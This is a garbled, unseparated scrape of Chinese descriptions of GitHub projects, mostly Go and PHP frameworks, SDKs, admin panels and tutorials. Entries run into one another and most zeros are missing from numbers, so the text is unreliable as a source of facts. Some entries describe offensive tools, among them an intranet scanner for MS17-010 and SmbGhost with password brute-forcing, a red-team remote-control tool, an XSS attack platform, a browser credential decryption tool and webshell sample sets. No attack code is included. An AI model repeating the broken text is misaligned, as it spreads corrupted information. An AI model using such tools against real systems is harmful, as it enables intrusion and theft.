内网dns解析 内网socks5代理等等 并带有功能强大的web管理端 Go语言高级编程 开源图书 涵盖CGO Go汇编语言 RPC实现 Protobuf插件实现 Web框架实现 分布式系统等高阶主题 完稿 是一个跨平台的强加密无特征的代理软件 零配置 算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 百度网盘不限速客户端 golang qt5 跨平台图形界面是golang实现的高性能http https websocket tcp socks5代理服务器 支持内网穿透 链式代理 通讯加密 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 支持多家云存储的云盘系统 这里是写博客的地方 Halfrost Field 冰霜之地Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 分布式爬虫管理平台 支持任何语言和框架Golang标准库 对于程序员而言 标准库与语言本身同样重要 它好比一个百宝箱 能为各种常见的任务提供完美的解决方案 以示例驱动的方式讲解Golang的标准库 天用Go动手写 从零实现系列是一个高性能且低损耗的 goroutine 池 有 有 设计模式 Golang实现 研磨设计模式 读书笔记Golang实现的基于beego框架的接口在线文档管理系统高性能开源RTSP流媒体服务器 基于go语言研发 维护和优化 RTSP推模式转发 RTSP拉模式转发 是一个高性能 轻量级 非阻塞的事件驱动 Go 网络框架 基于Gin Vue Element UI的前后端分离权限管理系统脚手架 包含了 多租户的支持 基础用户管理功能 jwt鉴权 代码生成器 RBAC资源控制 表单构建 定时任务等 3分钟构建自己的中后台项目 文档蓝鲸智云配置平台 BlueKing CMDB 今日热榜 一个获取各大热门网站热门头条的聚合网站 使用Go语言编写 多协程异步快速抓取信息 预览 mo fish一条命令离线安装高可用kubernetes 3min装完 7 M 1 年证书 生产环境稳如老狗阿里巴巴开源的一款简单易用 功能强大的混沌实验注入工具 Go语言四十二章经 详细讲述Go语言规范与语法细节及开发中常见的误区 通过研读标准库等经典代码设计模式 启发读者深刻理解Go语言的核心思维 进入Go语言开发的更高阶段 ️一个轻巧的网络混淆代理 基于Golang轻量级TCP并发服务器框架定时任务管理系统KubeOperator 是一个开源的轻量级 Kubernetes 发行版 专注于帮助企业规划 部署和运营生产级别的 K8s 集群 本系统是集工单统计 任务钩子 权限管理 灵活配置流程与模版等等于一身的开源工单系统 当然也可以称之为工作流引擎 致力于减少跨部门之间的沟通 自动任务的执行 提升工作效率与工作质量 减少不必要的工作量与人为出错率 Go实现的Trojan代理 支持多路复用 路由功能 CDN中转 Shadowsocks混淆插件 多平台 无依赖 Go语法树入门 开启自制编程语言和编译器之旅 开源免费图书 Go语言进阶 掌握抽象语法树 Go语言AST 凹语言 一款可全平台运行的浏览器数据导出解密工具 Golang相关 审稿进度8 % Go语法 Go并发思想 Go与web开发 Go微服务设施等Jupiter是斗鱼开源的面向服务治理的Golang微服务框架Elasticsearch 可视化DashBoard 支持Es监控 实时搜索 Index template快捷替换修改 索引列表信息查看 SQL converts to DSL等 从问题切入 串连 Go 语言相关的所有知识 融会贯通 golang design go questionsWeChat SDK for Go 微信SDK 简单 易用 go fastdfs 是一个简单的分布式文件系统 私有云存储 具有无中心 高性能 高可靠 免维护等优点 支持断点续传 分块上传 小文件合并 自动同步 自动修复 Mastering GO 中文译本 玩转 GO 云原生且易用的应用管理平台 Go Web 基础 是一套针对 Google 出品的 Go 语言的视频语音教程 主要面向完成 Go 编程基础 教程后希望进一步了解有关 Go Web 开发的学习者 中文名 悟空 API 网关 是一个基于 Golang开发的微服务网关 能够实现高性能 HTTP API 转发 服务编排 多租户管理 API 访问权限控制等目的 拥有强大的自定义插件系统可以自行扩展 并且提供友好的图形化配置界面 能够快速帮助企业进行 API 服务治理 提高 API 服务的稳定性和安全性 集合多家 API 的新一代图床MIT课程 Distributed Systems 学习和翻译Go语言圣经中文版 只接收PR Issue请提交到golang china gopl zh trojan多用户管理部署程序 支持web页面管理BookStack 基于MinDoc 使用Beego开发的在线文档管理系统 功能类似Gitbook和看云 weixin wechat 微信公众平台 微信企业号 微信商户平台 微信支付 go golang sdk 蓝眼云盘 Eyeblue Cloud Storage 语言高性能编程 Go 语言陷阱 Gotchas Traps 使用 XMind 记录 Linux 操作系统 网络 C Golang 以及数据库的一些设计cqhttp的golang实现 轻量 原生跨平台 mqant是一款基于Golang语言的简洁 高效 高性能的分布式微服务框架基于react node js go开发的微商城 含微信小程序 MM Wiki 一个轻量级的企业知识分享与团队协同软件 可用于快速构建企业 Wiki 和团队知识分享平台 部署方便 使用简单 帮助团队构建一个信息共享 文档管理的协作环境 Go 语言中文网 Golang中文社区 Go语言学习园地 源码基于 Gin 进行模块化设计的 API 框架 封装了常用功能 使用简单 致力于进行快速的业务研发 比如 支持 cors 跨域 jwt 签名验证 zap 日志收集 panic 异常捕获 trace 链路追踪 prometheus 监控指标 swagger 文档生成 viper 配置文件解析 gorm 数据库组件 gormgen 代码生成工具 graphql 查询语言 errno 统一定义错误码 gRPC 的使用 等等 syncd是一款开源的代码部署工具 它具有简单 高效 易用等特点 可以提高团队的工作效率 一款由 YSRC 开源的主机入侵检测系统golang面试题集合这是一个可以识别视频语音自动生成字幕SRT文件的开源 Windows GUI 软件工具 一款内网综合扫描工具 方便一键自动化 全方位漏扫扫描 是一个用于在两个redis之间同步数据的工具 满足用户非常灵活的同步 迁移需求 Overlord是哔哩哔哩基于Go语言编写的memcache和redis cluster的代理及集群管理功能 致力于提供自动化高可用的缓存服务解决方案 Stack RPC 中文示例 教程 资料 源码解读ICMP流量伪装转发工具Freedom是一个基于六边形架构的框架 可以支撑充血的领域模型范式 Go2编程指南 开源图书 重点讲解Go2新特性 以及Go1教程中较少涉及的特性语言高性能分词golang写的IM服务器 服务组件形式 结巴 中文分词的Golang版本xorm是一个简单而强大的Go语言ORM库 通过它可以使数据库操作非常简便 本库是基于原版xorm的定制增强版本 为xorm提供类似ibatis的配置文件及动态SQL支持 支持AcitveRecord操作一个 Go 语言实现的快速 稳定 内嵌的 k v 数据库 高性能表格数据导出器基于Golang的开源社区系统 版本网易云音乐ncm文件格式转换 go 实现的压测工具 ab locust Jmeter压测工具介绍 单台机器1 w连接压测实战 抓包截取项目中的数据库请求并解析成相应的语句 Go专家编程 Go语言快速入门 轻松进阶 <<自己动手写docker 源码Go 每日一库kunpeng是一个Golang编写的开源POC框架 库 以动态链接库的形式提供各种语言调用 通过此项目可快速开发漏洞检测类的系统 vue js element框架 golang beego框架 开发的运维发布系统 支持git jenkins版本发布 go ssh BT两种文件传输方式选择 支持部署前准备任务和部署后任务钩子函数 Go 从入门到实战 学习笔记 从零开始学 Go Gin 框架 基本语法包括 26 个Demo Gin 框架包括 Gin 自定义路由配置 Gin 使用 Logrus 进行日志记录 Gin 数据绑定和验证 Gin 自定义错误处理 Go gRPC Hello World 持续更新中 Go 学习之路 Go 开发者博客 Go 微信公众号 Go 学习资料 文档 书籍 视频 微信 WeChat 支付宝 AliPay 的Go版本SDK 极简 易用的聚合支付SDK Go by Example 通过例子学 GolangPPGo Job是一款可视化的 多人多权限的 一任务多机执行的定时任务管理系统 采用golang开发 安装方便 资源消耗少 支持大并发 可同时管理多台服务器上的定时任务 Golang实现的IP代理池是一款用Go语言开发的web应用框架 API特性类似于Tornado并且拥有比Tornado更好的性能 自己动手写Java虚拟机 随书源代码支付宝 AliPay SDK for Go 集成简单 功能完善 持续更新 支持公钥证书和普通公钥进行签名和验签 ARCHIVED Geph 迷霧通帮助你将本地端口暴露在外网 支持TCP UDP 当然也支持HTTP 深入Go并发编程研讨课无状态子域名爆破工具手机号码归属地信息库 手机号归属地查询 phone dat 最后更新 2 21年 6月 golang基于websocket单台机器支持百万连接分布式聊天 IM 系统基于mongodb oplog的集群复制工具 可以满足迁移和同步的需求 进一步实现灾备和多活功能 Gin Gorm开发Golang API快速开发脚手架简单可信赖的任务管理工具Go语言实例教程从入门到进阶 包括基础库使用 设计模式 面试易错点 工具类 对接第三方等授权框架简体中文翻译 自动抓取tg频道 订阅地址 公开互联网上的ss ssr vmess trojan节点信息 聚合去重后提供节点列表轻量级 go 业务框架 哪吒监控 一站式轻监控轻运维系统 支持系统状态 TCP Ping 监控报警 命令批量执行和计划任务 Go 语言官方教程中文版工程师知识管理系统 基于golang go语言 beego框架 每个行业都有自己的知识管理系统 engineercms旨在为土木工程师们打造一款适用的基于web的知识管理系统 它既可以用于管理个人的项目资料 也可以用于管理项目团队资料 它既可以运行于个人电脑 也可以放到服务器上 支持提取码分享文件 onlyoffice实时文档协作 直接在线编辑dwg文件 office文档 在线利用mindoc创作你的书籍 阅览PDF文件 通用的业务流程设置 手机端配套小程序 微信搜索“珠三角设代”或“青少儿书画”即可呼出小程序 边界打点后的自动化渗透工具一个集审核 执行 备份及生成回滚语句于一身的MySQL运维工具汉字转拼音 Go资源精选中文版 含中文图书大全 语言实现的 Redis 服务器和分布式集群 超全golang面试题合集 golang学习指南 golang知识图谱 入门成长路线 一份涵盖大部分golang程序员所需要掌握的核心知识 常用第三方库 mysql mq es redis等 机器学习库 算法库 游戏库 开源框架 自然语言处理nlp库 网络库 视频库 微服务框架 视频教程 音频音乐库 图形图片库 物联网库 地理位置信息 嵌入式脚本库 编译器库 数据库 金融库 电子邮件库 电子书籍 分词 数据结构 设计模式 去html tag标签等 go学习 go面试go语言扩展包 收集一些常用的操作函数 辅助更快的完成开发工作 并减少重复代码百灵快传 基于Go语言的高性能 手机电脑超大文件传输神器 局域网共享文件服务器 LAN large file transfer tool 一个基于云存储的网盘系统 用于自建私人网盘或企业网盘 go分布式服务器 基于内存mmo个人博客微信小程序服务端 SDK for Golang 控制台颜色渲染工具库 支持16色 256色 RGB色彩渲染输出 使用类似于 Print Sprintf 兼容并支持 Windows 环境的色彩渲染基于 IoC 的 Go 后端一站式开发框架 v2ray web manager 是一个v2ray的面板 也是一个集群的解决方案 同时增加了流量控制 账号管理 限速等功能 key admin panel web cluster 集群 proxyServerScan一款使用Golang开发的高并发网络扫描 服务探测工具 是http client领域的瑞士军刀 小巧 强大 犀利 具体用法可看文档 如使用迷惑或者API用得不爽都可提issuesTcpRoute TCP 层的路由器 对于 TCP 连接自动从多个线路 电信 联通 移动 多个域名解析结果中选择最优线路 Bifrost 面向生产环境的 MySQL 同步到Redis MongoDB ClickHouse MySQL等服务的异构中间件应用网关 提供快速 安全的应用交付 身份认证 WAF CC HTTPS以及ACME自动证书 A telegram bot for rss reader 一个支持应用内阅读的 Telegram RSS Bot RESTful API 文档生成工具 支持和 Ruby 等大部分语言 基于gin gorm开发的个人博客项目基于Go语言的国密SM2 SM3 SM4算法库 Golang 设计模式一个阿里云盘列表程序 一款小巧的基于Go构建的开发框架 可以快速构建API服务或者Web网站进行业务开发 遵循SOLID设计原则并发编程实战 第2版 Go 学习 Go 进阶 Go 实用工具类 Go kit Go Micro 微服务实践 Go 推送基于DDD的o2o的业务模型及基础 使用Golang gRPC Thrift实现Sharingan 写轮眼 是一个基于golang的流量录制回放工具 适合项目重构 回归测试等 百度云网盘爬虫基于beego的进销存系统 TeaWeb 可视化的Web代理服务 DEMO teaos cn 白帽子安全开发实战 配套代码抖音推荐 搜索页视频列表视频爬虫方案 基于app 虚拟机或真机 相关技术 golang adb一款甲方资产巡航扫描系统 系统定位是发现资产 进行端口爆破 帮助企业更快发现弱口令问题 主要功能包括 资产探测 端口爆破 定时任务 管理后台识别 报表展示提供微信终端版本 微信命令行版本聊天功能 微信机器人 ️ 互联网最全大厂技术分享PPT 持续更新中 各大技术交流会 活动资料汇总 如 QCon 全球运维技术大会 GDG 全球技术领导力峰会 大前端大会 架构师峰会 敏捷开发DevOps OpenResty Elastic 欢迎 PR Issues日本麻将助手 牌效 防守 记牌 支持雀魂 天凤 开源客服系统GO语言开发GO FLY 免费客服系统一个查询IP地理信息和CDN服务提供商的离线终端工具 是一个用于系统重构 系统迁移和系统分析的瑞士军刀 它可以分析代码中的测试坏味道 模块化分析 行数统计 分析调用与依赖 Git 分析以及自动化重构等 一个直播录制工具Mastering Go 第二版中文版来袭 渗透测试情报收集工具分布式定时任务调度平台高度模块化 遵循 KISS原则的区块链开发框架golang版本的hangout 希望能省些内存 使用了自己写的Kafka lib 虚 不过我们在生产环境已经使用近1年 kafka 版本从 9 1到2 都在使用 目前情况稳定 吞吐量在每天2 亿条以上 Go 语言 Web 应用开发系列教程 从新手到双手残废iris 框架的后台api项目简单好用的DDNS 自动更新域名解析到公网IP 支持阿里云 腾讯云dnspod Cloudflare 华为云 自己动手实现Lua 随书源代码php直播go直播 短视频 直播带货 仿比心 猎游 tt语音聊天 美女约玩 陪玩系统源码开黑 约玩源码 社区开源 云原生的多云和混合云融合平台 Jiajun的编程随想Golang语言社区 腾讯课堂 网易云课堂 字节教育课程PPT及代码基于GF Go Frame 的后台管理系统带你了解一下Golang的市场行情mysql表结构自动同步工具 目前只支持字段 索引的同步 分区等高级功能暂不支持 基于Kubernetes的PaaS平台流媒体NetFlix解锁检测脚本稳定分支2 9 X 版本已更新 由 Golang语言游戏服务器 维护 全球服游戏服务器及区域服框架 目前协议支持websocket KCP TCP及RPC 采用状态同步 帧同步内测 愿景 打造MMO多人竞技游戏框架 功能持续更新中 基于 Golang 类似知乎的私有部署问答应用 包含问答 评论 点赞 管理后台等功能全新的开源漏洞测试框架 实现poc在线编辑 运行 批量测试 使用文档 XAPI MANAGER 专业实用的开源接口管理平台 为程序开发者提供一个灵活 方便 快捷的API管理工具 让API管理变的更加清晰 明朗 如果你觉得xApi对你有用的话 别忘了给我们点个赞哦 qq协议的golang实现 移植于miraigo版本极简工作流引擎全平台Go开源内网渗透扫描器框架 Windows Linux Mac内网渗透 使用它可轻松一键批量探测C段 B段 A段存活主机 高危漏洞检测MS17 1 SmbGhost 远程执行SSH Winrm 密码爆破端口扫描服务识别PortScan指纹识别多网卡主机 端口扫描服务识别PortScan iikira BaiduPCS Go原版基础上集成了分享链接 秒传链接转存功能 e签宝安全团队积累十几年的安全经验 都将对外逐步开放 首开的Ehoney欺骗防御系统 该系统是基于云原生的欺骗防御系统 也是业界唯一开源的对标商业系统的产品 欺骗防御系统通过部署高交互高仿真蜜罐及流量代理转发 再结合自研密签及诱饵 将攻击者攻击引导到蜜罐中达到扰乱引导以及延迟攻击的效果 可以很大程度上保护业务的安全 护网必备良药漂亮的Go语言通用后台管理框架 包含计划任务 MySQL管理 Redis管理 FTP管理 SSH管理 服务器管理 Caddy配置 云存储管理等功能 微信支付 WeChat Pay SDK for Golang用于监控系统的日志采集agent 可无缝对接open falcon阿里巴巴mysql数据库binlog的增量订阅 消费组件 Canal 的 go 客户端 github com alibaba canal 用于比较2个redis数据是否一致 支持单节点 主从 集群版 以及多种proxy 支持同构以及异构对比 redis的版本支持2 x 5 x 使用go micro微服务实现的在线电影院订票系统后端一站式微服务框架 提供API web websocket RPC 任务调度 消息消费服务器红蓝对抗跨平台远控工具Interchain protocol 跨链协议简单易用 足够轻量 性能好的 Golang 库一个go echo vue 开发的快速 简洁 美观 前后端分离的个人博客系统 blog 也可方便二次开发为CMS 内容管理系统 和各种企业门户网站 正在更新权限管理 hauth项目 不是一个前端or后台框架 而是一个集成权限管理 菜单资源管理 域管理 角色管理 用户管理 组织架构管理 操作日志管理等等的快速开发平台. hauth是一个基础产品 在这个基础产品上 根据业务需求 快速的开发应用服务.账号 admin 密码 123456通用的数据验证与过滤库 使用简单 内置大部分常用验证 过滤器 支持自定义验证器 自定义消息 字段翻译 CTF AWD Attack with Defense 线下赛平台 AWD platform 欢迎 Star 蓝鲸智云容器管理平台 BlueKing Container Service 程序员如何优雅的挣零花钱 2 版 升级为小书了 一个 PHP 微信 SDKAV 电影管理系统 avmoo javbus javlibrary 爬虫 线上 AV 影片图书馆 AV 磁力链接数据库ThinkPHP Framework 十年匠心的高性能PHP框架 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 多语言多货币多入口的开源电商 B2C 商城 支持移动端vue app html5 微信小程序微店 微信小程序商城等可能是我用过的最优雅的 Alipay 和 WeChat 的支付 SDK 扩展包了 基于词库的中文转拼音优质解决方案 我用爬虫一天时间“偷了”知乎一百万用户 只为证明PHP是世界上最好的语言 所使用的程序微信 SDK for Laravel 基于 overtrue wechat开源在线教育点播系统 一款满足你的多种发送需求的短信发送组件 基于 Laravel 的后台系统构建工具 Laravel Admin 使用很少的代码快速构建一个功能完善的高颜值后台系统 内置丰富的后台常用组件 开箱即用 让开发者告别冗杂的HTML代码一个想帮你总结所有类型的上传漏洞的靶场优雅的渐进式PHP采集框架 Laravel 电商实战教程的项目代码Payment是php版本的支付聚合第三方sdk 集成了微信支付 支付宝支付 招商一网通支付 提供统一的调用接口 方便快速接入各种支付 查询 退款 转账能力 服务端接入支付功能 方便 快捷 SPF Swoole PHP Framework 世界第一款基于Swoole扩展的PHP框架 开发者是Swoole创始人 A Wonderful WordPress Theme 樱花庄的白猫博客主题图床 此项目已弃用 基于 ThinkPHP 基础开发平台 登录账号密码都是 admin PanDownload网页复刻版一个开源的网址导航网站项目 您可以拿来制作自己的网址导航 使用PHP Swoole实现的网页即时聊天工具 独角数卡 发卡 开源式站长自动化售货解决方案 高效 稳定 快速 卡密商城系统 高效安全的在线卡密商城 ️命令行模式开发框架ShopXO免费开源商城系统 国内领先企业级B2C免费开源电商系统 包含PC h5 微信小程序 支付宝小程序 百度小程序 头条 抖音小程序 QQ小程序 APP 多商户 遵循MIT开源协议发布 基于 ThinkPHP5 1框架研发Wizard是一款开源的文档管理工具 支持Markdown Swagger Table类型的文档 Swoole MySQL Proxy 一个基于 MySQL 协议 Swoole 开发的MySQL数据库连接池 学习资源整合Freenom域名自动续期一个好玩的Web安全 漏洞测试平台一个基于Yii2高级框架的快速开发应用引擎蓝天采集器是一款免费的数据采集发布爬虫软件 采用php mysql开发 可部署在云服务器 几乎能采集所有类型的网页 无缝对接各类CMS建站程序 免登录实时发布数据 全自动无需人工干预 是网页大数据采集软件中完全跨平台的云端爬虫系统免费开源的中文搜索引擎 采用 C C 编写 基于 xapian 和 scws 提供 PHP 的开发接口和丰富文档WDScanner平台目前实现了如下功能 分布式web漏洞扫描 客户管理 漏洞定期扫描 子域名枚举 端口扫描 网站爬虫 暗链检测 坏链检测 网站指纹搜集 专项漏洞检测 代理搜集及部署等功能 ️兰空图床图标工场 移动应用图标生成工具 一键生成所有尺寸的应用图标和启动图 Argon 一个轻盈 简洁的 WordPress 主题Typecho Fans插件作品目录PHP代码审计分段讲解一个结构清晰的 易于维护的 现代的PHP Markdown解析器百度贴吧云签到 在服务器上配置好就无需进行任何操作便可以实现贴吧的全自动签到 配合插件使用还可实现云灌水 点赞 封禁 删帖 审查等功能 注意 Gitee 原Git osc 仓库将不再维护 目前唯一指定的仓库为 Github 本项目没有官方交流群 如需交流可以直接使用Github的Discussions 没有商业版本 目前贴吧云签到由社区共同维护 不会停止更新 PR 通常在一天内处理 微信调试 API调试和AJAX的调试的工具 能将日志通过WebSocket输出到Chrome浏览器的console中 結巴 中文分詞 做最好的 PHP 中文分詞 中文斷詞組件EleTeam开源项目 电商全套解决方案之PHP版 Shop for PHP Yii2 一个类似京东 天猫 淘宝的商城 有对应的APP支持 由EleTeam团队维护 RhaPHP是微信第三方管理平台 微信公众号管理系统 支持多公众号管理 CRM会员管理 小程序开发 APP接口开发 几乎集合微信功能 简洁 快速上手 快速开发微信各种各样应用 简洁 好用 快速 项目开发快几倍 群 656868 一刻社区后端 API 源码 新 微信服务号 微信小程序 微信支付 支付宝支付苹果cms v1 maccms v1 麦克cms 开源cms 内容管理系统 视频分享程序 分集剧情程序 网址导航程序 文章程序 漫画程序 图片程序一个PHP文件搞定支付宝支付系列 包括电脑网站支付 手机网站支付 现金红包 消费红包 扫码支付 JSAPI支付 单笔转账到支付宝账户 交易结算 分账 分润 网页授权获取用户信息等restful api风格接口 APP接口 APP接口权限 oauth2 接口版本管理 接口鉴权基于企业微信的开源SCRM应用开发框架 引擎 也是一套通用的企业私域流量管理系统 API接口大全不断更新中 欢迎Fork和Star 1 一言 古诗句版 api 2 必应每日一图api 3 在线ip查询 4 m3u8视频在线解析api 5 随机生成二次元图片api 6 快递查询api 支持国内百家快递 7 flv视频在线解析api 8 抖音视频无水印解析api 9 一句话随机图片api 1 QQ用户信息获取api 11 哔哩哔哩封面图获取api 12 千图网58pic无水印解析下载api 13 喜马拉雅主播FM数据采集api 14 网易云音乐api 15 CCTV央视网视频解析api 16 微信运动刷步数api 17 皮皮搞笑 基于swoole的定时器程序 支持秒级处理群 656868 ️ Saber PHP异步协程HTTP客户端微信支付单文件版 一个PHP文件搞定微信支付系列 包括原生支付 扫码支付 H5支付 公众号支付 现金红包 企业付款到零钱等 新增V3版 一个还不错的图床工具 支持Mac Win Linux服务器 支持压缩后上传 添加图片或文字水印 多文件同时上传 同时上传到多个云 右击任意文件上传 快捷键上传剪贴板截图 Web版上传 支持作为Mweb Typora发布图片接口 作为PicGo ShareX uPic等的自定义图床 支持在服务器上部署作为图床接口 支持上传任意格式文件 可能是我用过的最优雅的 Alipay 和 WeChat 的 laravel 支付扩展包了上传大文件的Laravel扩展包开发内功修炼Laravel核心代码学习南京邮电大学开源 Online Judge QQ群 6681 8264 免费IP地址数据库 已支持IPV4 IPV6 结构化输出为国家 省 市 县 运营商 中文数据库 方便实用 laravel5 5和vue js结合的前后端分离项目模板 后端使用了laravel的LTS版本 5 5 前端使用了流行的vue element template项目 作为程序的起点 可以直接以此为基础来进行业务扩展 模板内容包括基础的用户管理和权限管理 日志管理 集成第三方登录 整合laravel echo server 实现了websocket 做到了消息的实时推送 并在此基础上 实现了聊天室和客服功能 权限管理包括后端Token认证和前端vue js的动态权限 解决了前后端完整分离的情况下 vue js的认证与权限相关的痛点 已在本人的多个项目中集成使用 Web安全之机器学习入门 网易云音乐升级APIPHP 集成支付 SDK 集成了支付宝 微信支付的支付接口和其它相关接口的操作 支持 php fpm 和 Swoole 所有框架通用 宇润PHP全家桶技术支持群 17916227MDClub 社区系统后端代码imi 是基于 Swoole 的 PHP 协程开发框架 它支持 Http2 WebSocket TCP UDP MQTT 等主流协议的服务开发 特别适合互联网微服务 即时通讯聊天im 物联网等场景 QQ群 17916227WordPress 版 WebStack 导航主题 nav iowen cnLive2D 看板娘插件 www fghrsh net post 123 html 上使用的后端 API简单搜索 一个简单的前端界面 用惯了各种导航首页 满屏幕尽是各种不厌其烦的广告和资讯 尝试自己写个自己的主页 国内各大CTF赛题及writeup整理收集自网络各处的 webshell 样本 用于测试 webshell 扫描器检测率 PHP微信SDK 微信平台 微信支付 码小六 GitHub 代码泄露监控系统PHP表单生成器 快速生成现代化的form表单 支持前后端分离 内置复选框 单选框 输入框 下拉选择框 省市区三级联动 时间选择 日期选择 颜色选择 文件 图片上传等17种常用组件 悟空CRM 基于TP5 vue ElementUI的前后端分离CRM系统V免签PHP版 完全开源免费的个人免签约解决方案Composer 全量镜像发布于2 17年3月 曾不间断运行2年多 这个开源有助于理解 Composer 镜像的工作原理一个多彩 轻松上手 体验完善 具有强大自定义功能的WordPress主题 基于Sakura主题全球免费代理IP库 高可用IP 精心筛选优质IP 2s必达LaraCMS 是在学习 laravel web 开发实战进阶 实战构架 API 服务器 过程中产生的一个业余作品 试图通过简单的方式 快速构建一套基本的企业站同时保留很灵活的扩展能力和优雅的代码方式 当然这些都得益Laravel的优秀设计 同时LaraCMS 也是一个学习Laravel 不错的参考示例 已停止维护 HookPHP基于C扩展搭建内置AI编程的架构系统 支持微服务部署 热插拔业务组件 集成业务模型 权限模型 UI组件库 多模板 多平台 多域名 多终端 多语言 含常驻内存 前后分离 API平台 LUA QQ群 67911638 中华人民共和国居民身份证 中华人民共和国港澳居民居住证以及中华人民共和国台湾居民居住证号码验证工具 PHP 版 最简单的91porn爬虫php版本Fend 是一款短小精悍 可在 FPM Swoole 服务容器平滑切换的高性能PHP框架 no evil 实现过滤敏感词汇 基于确定有穷自动机 DFA 算法 支持composer安装扩展Z BlogPHP博客程序IYUU自动辅种工具 目前能对国内大部分的PT站点自动辅种 支持下载器集群 支持多盘位 支持多下载目录 支持远程连接等 果酱小店 基于 Laravel swoole 小程序的开源电商系统 优雅与性能兼顾 這是一份純靠北工程師的專案 請好好愛護它 謝謝 EC ecjia 到家是一款可开展O2O业务的移动电商系统 它包含 移动端APP 采用原生模式开发 覆盖使用iOS 及Android系统的移 动终端 后台系统 针对平台日常运营维护的平台后台 针对入驻店铺管理的商家后台 独立并行 移动端H5 能够灵活部署于微信及其他APP 网页等 Material Design 指南的中文翻译 一个纯php分词 thinkphp5 1 layui 实现的带rbac的基础管理后台 方便快速开发法使用百度pcs上传脚本目前最全的前端开发面试题及答案樱花内网穿透网站源代码 2 2 重制版MeepoPS是Meepo PHP Socket的缩写 旨在提供稳定的Socket服务 可以轻松构建在线实时聊天 即时游戏 视频流媒体播放等 基础目录 聚合所有其他目录 包含文档和例子基于 Vue js 的简洁一般强大的 WordPress 单栏博客主题阿里云打造Laravel最好的OSS Storage扩展 网上在线商城 综合网上购物平台swoolefy是一个基于swoole实现的轻量级 高性能 协程级 开放性的API应用服务框架基于redis实现高可用 易拓展 接入方便 生产环境稳定运行的延迟队列 一款基于WordPress开发的高颜值的自适应主题 支持白天与黑夜模式 无刷新加载等 阿里云 OSS 官方 SDK 的 Composer 封装 支持任何 PHP 项目 包括 Laravel Symfony TinyLara 等等 此插件将你的WordPress接入本土生态体系之中 使之更适合国内应用环境PHP的服务化框架 适用于Api Server Rpc Server 帮助原生PHP项目转向微服务化 出色的性能与支持高并发的协程相结合基于ThinkPHP V6 开发的面向API的后台管理系统 PHP Swoole 开发的在线同步点歌台 支持自由点歌 切歌 调整排序 删除指定音乐以及基础权限分级信呼 免费开源的办公OA系统 包括APP pc上客户端 REIM即时通信 服务端等 让每个企业单位都有自己的办公系统 来客电商 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 注重界面美感与用户体验 打造独特电商系统生态圈哔哩哔哩 Bilibili B 站主站助手 直播助手 直播抽奖 挂机升级 贴心小棉袄脚本 Lv6 离你仅有一步之遥 PHP 版 Personal 一个运用php与swoole实现的统计监控系统短视频去水印 抖音 皮皮虾 火山 微视 微博 绿洲 最右 轻视频 快手 全民小视频 巴塞电影 陌陌 Before避风 开眼 Vue Vlog 小咖秀 皮皮搞笑 全民K歌 西瓜视频 中国农历 阴历 与阳历 公历 转换与查询工具AoiAWD 专为比赛设计 便携性好 低权限运行的EDR系统 项目管理系统后端接口ThinkPHP 队列支持Typecho Theme Aria 书写自己的篇章PHP 中文工具包 支持汉字转拼音 拼音分词 简繁互转 数字 金额大写 QQ群 17916227Yii2 community 请访问淘客5合一SDK 支持淘宝联盟 京东联盟 多多进宝 唯品会 苏宁基于 thinkphp 开发的的 blogMojito Admin 基于 Laravel Vue Element 构建的后台管理系统一个经典的XSS渗透管理平台一款基于 RageFrame2 的免费开源的基础销售功能的商城基于Laravel 5 4 的开发的博客系统 代号 myPersimmon证件照片排版在线生成器 在一张6寸的照片上排版多张证件照清华大学计算机学科推荐学术会议和期刊列表WordPress响应式免费主题 Art Blog唯品秀博客 weipxiu com 备用域名weipxiu cn 开源给小伙伴免费使用 如使用过程有任何问题 在线技术支持QQ 欢迎打扰 原创不易 如喜欢 请多多打赏 演示 EwoMail是基于Linux的企业邮箱服务器 集成了众多优秀稳定的组件 是一个快速部署 简单高效 多语言 安全稳定的邮件解决方案 笔记本新版简单强大的无数据库的图床2 版 演示地址 Bilibili B 站自动领瓜子 直播助手 直播挂机脚本 主站助手 PHP 版微信群二维码活码工具 生成微信群活码 随时可以切换二维码 短视频的PHP拓展包 集成各大短视频的去水印功能 抖音 快手 微视主流短视频 PHP去水印一个PHPer的升级之路酷瓜云课堂 在线教育 网课系统 网校系统 知识付费系统 不加密不阉割 1 %全功能开源 可免费商用 框架主要使用ThinkPHP6 layui 拥有完善的权限的管理模块以及敏捷的开发方式 让你开发起来更加的舒服 laravel5 5搭建的后台管理 和 api服务 的小程序商城基于ThinkPHP5 AdminLTE的后台管理系统魔改版本 为 OLAINDEX 添加多网盘挂载及一些小修复海豚PHP 基于ThinkPHP5 1 41LTS的快速开发框架挂载Teambition文件 可直链分享 支持网盘 需申请 和项目文件 无需邀请码 准确率99 9%的ip地址定位库laravel ant design vue 权限后台PHP 第三方登录授权 SDK 集成了QQ 微信 微博 Github等常用接口 支持 php fpm 和 Swoole 所有框架通用 QQ群 17916227抖音去水印PHP版接口一个分布式统计监控系统 包含PHP客户端 服务端整合多接口的IP查询工具 基于阿里云OSS的WordPress远程附件支持插件 后会有期 开箱即用的Laravel后台扩展 前后端分离 后端控制前端组件 无需编写vue即可创建一个的项目 丰富的表单 表格组件 强大的自定义组件功能 yii2 swoole 让yii2运行在swoole上胖鼠采集 WordPress优秀开源采集插件CatchAdmin是一款基于thinkphp6 和 element admin 开发的后台管理系统 基于 ServiceProvider 系统模块完全接耦 随时卸载安装模块 提供了完整的权限和数据权限等功能 大量内置的开发工具提升你的开发体验 官网地址 微信公众平台php版开发包微信小程序 校园小情书后台源码 好玩的表白墙 告白墙 功能全面的PHP命令行应用库 提供控制台参数解析 命令运行 颜色风格输出 用户信息交互 特殊格式信息显示基于 chinese poetry 数据整理的一份 mysql 格式数据帮助 thinkphp 5 开发者快速 轻松的构建Api hyperf admin 是基于 hyperf vue 的配置化后台开发工具 微信支付php 写的视频下载工具 现已支持 Youku Miaopai 腾讯 XVideos Pornhub 91porn 微博酷燃 bilibili 今日头条 芒果TVCorePress 主题 一款高性能 高颜值的WordPress主题快链电商 